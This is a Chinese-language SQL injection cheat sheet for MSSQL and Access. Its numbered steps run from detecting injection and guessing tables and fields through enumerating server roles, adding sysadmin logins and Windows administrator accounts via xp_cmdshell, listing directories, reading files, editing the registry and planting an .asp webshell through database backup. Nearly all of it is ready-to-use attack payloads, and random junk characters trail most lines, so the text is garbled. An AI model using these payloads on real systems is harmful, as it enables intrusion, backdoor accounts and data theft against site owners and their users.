1.判断是否有注入;and 1=1 ;and 1=2 Q>##hG:m
2.初步判断是否是mssql ;and user>0 #IH<HL)t%e
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3.注入参数是字符'and [查询条件] and ''=' U#OWUZ
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' TB;3`
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5.判断数据库系统 s@.`"TF.7
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;and (select count(*) from sysobjects)>0 mssql e4[-rkn{hl
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;and (select count(*) from msysobjects)>0 access $,xtif0
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 GhSL%y
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 YlZYS'_
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8@9hU`H8l
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9.(1)猜字段的ascii值(access) ]
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 CVyx lc>
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(2)猜字段的ascii值(mssql) =
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 s$SU
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10.测试权限结构(mssql) yDu
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- X~IRpzC
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- P%<aGb4
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- oP43 NN~
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- !:g>CDA
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Nf/hr%jL
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @&i#S}%/
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;and 1=(select IS_MEMBER('db_owner'));-- m<,y-bQ*(
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11.添加mssql和系统的帐户 N>cp>&jV
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;exec master.dbo.sp_addlogin username;-- #um1?V
;exec master.dbo.sp_password null,username,password;-- ]sm0E@ 1
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- T ?<'=
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;exec master.dbo.xp_cmdshell 'net user username password EE{#S
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- QvK]<HEr
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4? /ot;>2
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Rrs`h `'-
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12.(1)遍历目录 7Y @=x#
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;create table dirs(paths varchar(100), id int) x#}j3"
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 1TD&&EC
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;and (select top 1 paths from dirs)>0 D\_*,Fc
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ru6H nLhL
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(2)遍历目录 qS/71Kv'
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- /kviO@jm4(
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 qdkTg: QJ,
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 B"E (Y M
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ~]_jKe4W
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 6Nd_YX
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13.mssql中的存储过程 "*>QxA%c4
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xp_regenumvalues 注册表根键, 子键 .D2ub/er
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Om?:X!l"
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xp_regread 根键,子键,键值名 zKAyfn.A
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;exec xp_regread @ :
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2Z1(J% 7
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xp_regwrite 根键,子键, 值名, 值类型, 值 P@T $6%~
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ABYW1K=
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 {~p %\
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xp_regdeletevalue 根键,子键,值名 Ei(`gp
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 oIR%{`3"I
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $HnD|_*
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14.mssql的backup创建webshell 7&U+f:-w
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use model )t 7HioQ
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create table cmd(str image); :QY 9p T
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insert into cmd(str) values (''); ?=o]Wx0(9
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backup database model to disk='c:\l.asp'; [
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15.mssql内置函数 CZno2$8@e
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;and (select @@version)>0 获得Windows的版本号 F>{uB!!L4
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa \evgDZf
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;and (select user_name())>0 爆当前系统的连接用户 9CSz<[
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;and (select db_name())>0 得到当前连接的数据库 ]o[HH_`s@
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16.简洁的webshell lcLxqnv
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use model Eu_0n6J
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create table cmd(str image); bJ[1'Es`
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insert into cmd(str) values (''); uB9+E%jOdQ
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backup database model to disk='g:\wwwtest\l.asp';